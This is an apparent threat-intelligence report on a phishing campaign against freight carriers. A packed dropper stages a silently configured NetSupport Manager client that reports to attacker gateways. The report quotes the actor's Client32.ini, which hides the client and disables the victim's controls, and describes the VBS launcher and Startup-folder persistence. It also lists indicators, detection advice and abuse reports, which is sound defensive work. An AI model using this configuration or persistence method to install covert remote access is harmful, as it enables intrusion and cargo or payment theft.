When one RMM tool won't get the job done: inside a phishing operation's infrastructure

Overview#
In late May 2026, Have I Been Squatted analyzed a Windows executable named W9_BOL_INSURANCE_SETUP_Carrier_May26.exe, themed as US trucking carrier onboarding paperwork (W-9 tax form, Bill of Lading, insurance). The file was hosted on a bare IPv4 address over plain HTTP with directory listing enabled.
On execution, the binary acts as a network-aware stage-1 dropper. It beacons to a second host, pulls down roughly 3.9 MB across about 30 short TCP sessions, writes a ZIP archive and two Visual Basic Script (VBS) helpers to C:\ProgramData, and launches a pre-configured installation of NetSupport Manager (NSM). The client registers to an operator gateway fronted by a 32-character random .icu domain. There is no exploit and no custom remote access trojan (RAT). The payload is legitimately licensed commercial remote monitoring and management (RMM) software, pointed at an attacker-controlled gateway.
Eighteen hours later, the same staging server was serving a different dropper with a European freight theme, impersonating a specific EU logistics/transport company. The company name appeared in the May 27 filename and is redacted as [REDACTED] throughout this report. The actor rotates builds faster than hash-based detection can keep up.
To the best of our knowledge, this is the first public documentation of this specific infrastructure cluster. The victim sector and lure craft match our earlier May 2026 analysis of freight-sector RMM abuse, where compromised carrier email delivered N-able from cloud storage. Tooling and staging differ. This cluster stages NetSupport over plain HTTP from commodity VPS infrastructure.
Impact#
If a carrier staff member downloaded and ran the staged executable, the actor would have gained persistent remote control of that workstation. NetSupport Manager supports remote view, keyboard and mouse input, file transfer, command execution, registry editing, and service control. The client prioritized stealth. It ran without a system tray icon or connect notification, and every interactive menu was disabled so the victim cannot disconnect or request help.
For a freight operator, that access is enough to monitor load board activity, intercept shipment details, and redirect cargo or payments. The FBI Internet Crime Complaint Center (IC3) warned in April 2026 that cyber-enabled strategic cargo theft drove roughly $725M in US losses during 2025.
| Finding | Detail |
|---|---|
| First sample analyzed | W9_BOL_INSURANCE_SETUP_Carrier_May26.exe (compiled 2026-05-26 12:26:49 UTC) |
| Current live payload (at analysis) | new_agreement_[REDACTED]_MAY27.exe (staged 2026-05-27 07:17 UTC) |
| Lure theme (May 26) | US carrier onboarding (W-9 + BOL + insurance + _Carrier_) |
| Lure pivot (May 27) | European freight ("new agreement" theme; EU logistics/transport load board) |
| RMM products on operator box | NetSupport Manager, SimpleHelp, ScreenConnect (ConnectWise Control) |
| Stage-1 C2 | 188.137.249.56:8081 (Python Flask, vps.ac Netherlands) |
| NSM primary gateway | ksdfsdkjhodafguidfhqiugdugwdiufh.icu:443 → 45.88.78.28 |
| NSM secondary gateway | 23.94.145.3:443 (same provider range as staging server) |
| Staging server | 23.94.252.241 (nginx 1.22.1, WebDAV-enabled /share/) |
| Assessed motive | Freight fraud / cargo theft |
How we got here#
The delivery vector that brings victims to the staging URL remains unknown. The chain below runs from open-directory staging through a packed dropper to a pre-configured NetSupport install on the operator's gateway.
Attack chain
Staging server to operator console
Step 1
HTTP staging directory
23.94.252.241/share/
Step 2
Stage-1 dropper
W9_BOL_INSURANCE_SETUP_Carrier_May26.exe
Step 3
Payload pull
188.137.249.56:8081
Step 5
Operator console
45.88.78.28 · NSM + SimpleHelp + ScreenConnect
Step 4
VBS unzip + NSM drop
Bladina76Y.zip / Client32.ini
Step 1
HTTP staging directory
23.94.252.241/share/
Step 2
Stage-1 dropper
W9_BOL_INSURANCE_SETUP_Carrier_May26.exe
Step 3
Payload pull
188.137.249.56:8081
Step 4
VBS unzip + NSM drop
Bladina76Y.zip / Client32.ini
Step 5
Operator console
45.88.78.28 · NSM + SimpleHelp + ScreenConnect
No individual step required novel exploitation. The actor combined carrier-themed naming, a commodity VPS staging layout, VBS glue scripts that blend into normal Windows automation, and a signed commercial RMM client pre-seeded with gateway credentials. Assembled together, the chain avoids the signatures that catch custom malware while giving the operator full interactive control.
Open HTTP staging#
The May 26 sample was listed at the following URL.
http://23[.]94[.]252[.]241/share/W9_BOL_INSURANCE_SETUP_Carrier_May26.exe
The /share/ path exposes a directory listing with a single file. No domain name, no certificate, no provider branding on the wire. The layout is cheap to stand up and quick to replace.

Response headers on the staging server reveal nginx 1.22.1 with WebDAV enabled. The Allow header lists GET, HEAD, OPTIONS, PROPFIND, PUT, DELETE, and MKCOL. That configuration is consistent with an automated build pipeline where each fresh executable is uploaded via curl --upload-file immediately after compilation. The May 26 build reached staging about 18 minutes after compile; the May 27 build took about 6.5 minutes.
Stage-1 dropper#
W9_BOL_INSURANCE_SETUP_Carrier_May26.exe is a 4.28 MB packed dropper. Section names change on every build, so file hashes rotate with the daily lure refresh. The packer layout does not change.
On execution, the dropper opens 30 short TCP sessions to a single destination.
188[.]137[.]249[.]56:8081
Across those sessions it sends roughly 26.7 KB and receives roughly 3.85 MB. The server responds to HTTP probes with a stock Flask/Werkzeug 404 page, which matches a Python Flask application on Windows Server 2022. After the download completes, the dropper writes three files to C:\ProgramData.
| Time (sandbox) | File | Size |
|---|---|---|
| 23:54:44 | C:\ProgramData\Bladina76Y.zip | 2,200,923 B |
| 23:54:46 | C:\ProgramData\unzip.vbs | 211 B |
| 23:54:57 | C:\ProgramData\run_Bladina76Y.vbs | 411 B |
The stem Bladina76Y appears in the ZIP filename, the extracted folder, the launcher script, and the renamed client binary. It may rotate per build or per victim.
Two unobfuscated VBS one-liners finish the chain. unzip.vbs calls Shell.Application.CopyHere with flag 256 to extract the archive silently. run_Bladina76Y.vbs launches Bladina76Y.exe hidden via WShell.Run(..., 0, False) and drops ClientApp.lnk in the per-user Startup folder (MITRE T1547.001), leaving no Run-key footprint.
NetSupport Manager client#
The extracted payload is NetSupport Manager 14.10, with client32.exe renamed to Bladina76Y.exe. The bundled NSM.LIC is a leaked June 2015 license (licensee GJHYUT534, serial NSM280812) reused across many NetSupport abuse campaigns and not unique to this actor.
The actor-supplied Client32.ini disables every user-visible NetSupport feature (no tray icon, no connect prompt, disconnect and help menus disabled). Gateway routing is pre-seeded under [HTTP]:
[Client]
silent=1
SysTray=0
HideWhenIdle=1
ShowUIOnConnect=0
DisableChatMenu=1
DisableDisconnect=1
DisableRequestHelp=1
DisableReplayMenu=1
DisableLocalInventory=1
DisableClientConnect=1
Usernames=*
Shared=1
[HTTP]
GatewayAddress=ksdfsdkjhodafguidfhqiugdugwdiufh.icu:443
SecondaryGateway=23.94.145.3:443
gsk=FP;E@BDK9I>NDAGJ;B>IBAEGHL;A
MinimumEncryption=0
The gsk= line is NetSupport's gateway shared key, an encoded secret that binds the client to the operator's gateway. It is the highest-fidelity pivot for correlating sibling samples. Any install whose Client32.ini contains the same 28-character value is registering to this operator, regardless of filename or lure theme.
Infrastructure#
The campaign runs on four Windows VPS nodes spread across three hosting providers. Each node has a distinct role in the chain, and the open port surface on each host shows how much hardening the actor applied, or skipped.
Four-node layout#
| Node | IP | Role | RIR-listed org (brand) | Region |
|---|---|---|---|---|
| Staging | 23.94.252.241 | Payload hosting, WebDAV upload | HostPapa (ColoCrossing) | US |
| NSM secondary gateway | 23.94.145.3 | NetSupport HTTP gateway (backup) | HostPapa (ColoCrossing) | US |
| Stage-1 C2 | 188.137.249.56 | Dropper payload server | Podaon SIA (vps.ac) | Netherlands (LIR in Latvia) |
| Operator edge | 45.88.78.28 | NSM + SimpleHelp + ScreenConnect consoles | Peetinvest B.V. (had.pm) | Netherlands |
Both ColoCrossing nodes serve distinct roles in the same chain (staging and NSM secondary). The stage-1 C2 and operator edge sit on vps.ac and had.pm. That layout means a takedown at one provider degrades the operation without necessarily killing it, and forces abuse reporting through three separate contacts.
Campaign port surface#
Live probing in May 2026 mapped campaign-relevant ports on each node. Stage-1 C2 and operator edge also expose default Windows admin services (SMB, WinRM, RPC) with no post-provision hardening.
| Host | IP | Ports | Notes |
|---|---|---|---|
| Staging | 23.94.252.241 | TCP/80 | nginx /share/ directory; WebDAV upload |
| Stage-1 C2 | 188.137.249.56 | TCP/8081 | Flask payload server; hostname AET-INTEL-NL-30 (vps.ac); first boot 2026-03-15 |
| NSM secondary | 23.94.145.3 | TCP/443, 1337 | Secondary gateway from Client32.ini; TLS CN DESKTOP-7443U2T (prior: DESKTOP-KIC7G26) |
| Operator edge | 45.88.78.28 | TCP/80, 443, 8040, 3389 | NSM, SimpleHelp, ScreenConnect, RDP; hostname WIN-90ROH6DD9DO; RDP cert 2026-05-17 |
The operator edge at 45.88.78.28 runs three commercial RMM consoles from one Windows Server instance: NetSupport on 443, SimpleHelp on 80, ScreenConnect on 8040. The .icu domain fronts NSM and SimpleHelp; ScreenConnect is reachable by IP on the non-standard 8040 port. A takedown at this IP would cut off the operator's remote access through all three tools at once. It would not stop payload delivery on its own, since staging and stage-1 C2 sit on other hosts, but it would strand any victims already connected. That likely explains the application-layer IP allowlisting below.

Default Windows hostnames on the gateway boxes (DESKTOP-7443U2T, DESKTOP-KIC7G26, WIN-90ROH6DD9DO) are pivot keys for sibling infrastructure hunts. Full hostnames and certificate details are in the network indicators accordion below.
Provisioning timeline#
Certificate "Not Before" dates cross-referenced against the sample build stamp:
| Date | Event | Detail |
|---|---|---|
| 2026-03-15 | 188.137.249.56 first boot | Stage-1 C2, vps.ac |
| 2026-03-28 | 23.94.145.3 first boot | NSM secondary, ColoCrossing |
| 2026-04-29 | ScreenConnect first seen on 45.88.78.28:8040 | Internet-wide scan history |
| 2026-05-17 | 45.88.78.28 first boot | Operator edge, had.pm |
| 2026-05-26 12:26 UTC | W9 EXE compiled | |
| 2026-05-26 12:44 UTC | EXE uploaded to staging | ~18 min after compile |
| 2026-05-27 07:17 UTC | Payload rotated | new_agreement_[REDACTED]_MAY27.exe |
The backbone (stage-1 C2 and NSM secondary) was standing roughly 2.5 months before the May 26 sample. The operator edge came online nine days before compilation.
Application-layer IP allowlisting#
Active probing showed different access rules on different hosts. NetSupport gateways, ScreenConnect, and admin ports complete a TCP handshake from anywhere, then reset application traffic from IPs that are not on an allowlist. Banners for those services in internet-wide scan history are historical artifacts from before the filter was installed.
| Endpoint | TCP connect | App-layer response |
|---|---|---|
45.88.78.28:443 (NSM primary) | Yes | RST (IP-filtered) |
45.88.78.28:8040 (ScreenConnect) | Yes | RST (IP-filtered) |
23.94.145.3:443 (NSM secondary) | Yes | RST (IP-filtered) |
23.94.145.3:1337 | Yes | TLS alert on HTTPS; timeout on plain HTTP |
188.137.249.56:8081 (stage-1 C2) | Yes | HTTP 404 (open; victims need first contact) |
23.94.252.241:80 (staging) | Yes | HTTP 200/403 (open; victims need first contact) |
45.88.78.28:80 (SimpleHelp) | Yes | Initially HTTP 200; deny-listed after probing |
Every service that talks to already-compromised clients is locked down. The two services that must receive first-contact traffic from unknown victim IPs stay open. The victim runs the dropper; stage-1 C2 records the source IP; that IP is pushed onto the NSM and ScreenConnect allowlists; and the NetSupport client can then connect while scanners get only TCP resets. The filter also reacts dynamically. The SimpleHelp landing page was reachable from a clean browser session, then deny-listed within minutes of cross-port probing from the same source.
Daily build rotation#
At 2026-05-27 07:17 UTC, the actor replaced the W9 executable in /share/ with new_agreement_[REDACTED]_MAY27.exe, where [REDACTED] is the target company name from the original filename. Same packer, same image layout, same staging server, different hash, different lure.
| Field | May 26 (W9) | May 27 (EU) |
|---|---|---|
| Filename | W9_BOL_INSURANCE_SETUP_Carrier_May26.exe | new_agreement_[REDACTED]_MAY27.exe |
| Lure theme | US carrier paperwork | "new agreement" + EU logistics/transport load board |
| SHA-256 | 316d7030…7195590 | a0766a72…218a5db |
| Compile → stage | ~18 min | ~6.5 min |
| Section names | .UYr / ._^^ / .3-h | .g:: / .#*d / .2Z< |
![Index of /share/ listing new_agreement_[REDACTED]_MAY27.exe on the staging server](/_next/image?url=%2Fimg%2Fblog%2Fthree-rmm-tools-one-vps-inside-carrier-phishing-operator-box%2Fstaging-directory-may27-payload-rotation.png&w=3840&q=75)
Microsoft Defender flagged the May 27 sample within roughly five hours of staging. The actor's compile-to-stage cycle is two orders of magnitude faster than vendor signature deployment. Hash blocklists cannot close that gap; structural detection on the packer fingerprint (11 sections, seven with zero raw size, high-entropy custom RX section containing the entry point) will match all builds from this pipeline regardless of randomized section names.
Freight sector context#
This activity sits alongside sustained pressure on logistics companies from multiple directions. Our Diesel Vortex report documented credential theft from load boards and logistics portals. Weeks earlier, when a trusted trucking email delivers remote access traced the same freight victim class through compromised carrier email and N-able RMM.
Cargo theft is increasingly a software problem. The freight contract gets hijacked, not the truck. The tooling is legitimately licensed IT software on commodity VPS hosts, fronted by a random domain that costs about a dollar per year, uploaded once per day through nginx WebDAV.
Recommendations#
- Block or alert on executable downloads from bare-IP HTTP URLs, especially carrier-themed onboarding or agreement filenames.
- Maintain an inventory of authorized RMM agents. Unexpected NetSupport, SimpleHelp, or ScreenConnect on a workstation is a high-severity incident.
- Hunt for NetSupport
Client32.inifiles where the gateway shared key (gsk=under[HTTP]) isFP;E@BDK9I>NDAGJ;B>IBAEGHL;A, or whereNSM.LICcarries serialNSM280812. - Detect the dropper by packer structure, not file hash alone. See the detection hints accordion under TTPs and IOCs.
NetSupport, SimpleHelp, ScreenConnect, and related vendor hostnames are legitimate infrastructure for many organizations. Detections should be contextualized by unauthorized installation, unknown gateway addresses, or outbound connections from hosts where no RMM is expected.
Response actions#
Following analysis, abuse reports were submitted to disrupt the infrastructure and tooling identified in this campaign:
| Target | Action |
|---|---|
ColoCrossing (23.94.252.241, 23.94.145.3) | Abuse report submitted on 31 May 2026 |
vps.ac (188.137.249.56) | Abuse report submitted on 31 May 2026 |
had.pm (45.88.78.28) | Abuse report submitted on 31 May 2026 |
PDR (registrar, ksdfsdkjhodafguidfhqiugdugwdiufh.icu) | Abuse report submitted on 31 May 2026 |
Cloudflare (authoritative DNS, ksdfsdkjhodafguidfhqiugdugwdiufh.icu; not proxied) | Abuse report submitted on 31 May 2026 |
NetSupport Manager (license NSM280812, gateway shared key abuse) | Abuse report submitted on 31 May 2026 |
ConnectWise Control (ScreenConnect on 45.88.78.28:8040) | Abuse report submitted on 31 May 2026 |
SimpleHelp (ksdfsdkjhodafguidfhqiugdugwdiufh.icu) | Abuse report submitted on 31 May 2026 |
Outcomes were pending at publication. Endpoints that already registered to the operator gateways may still need local remediation regardless of upstream action.
TTPs and IOCs#
Contact#
For questions, to share related intelligence, or to report sightings of this campaign, contact [email protected].
For press inquiries, contact [email protected].
Evidence has been preserved and shared with relevant parties. Sensitive data has been redacted where appropriate. We welcome collaboration with threat researchers, law enforcement, and other parties with a legitimate interest in this activity.
Domain Protection
Protect your brand from typosquatting.
Join security teams using Have I Been Squatted to monitor malicious domains, phishing infrastructure, and brand impersonation across the open web.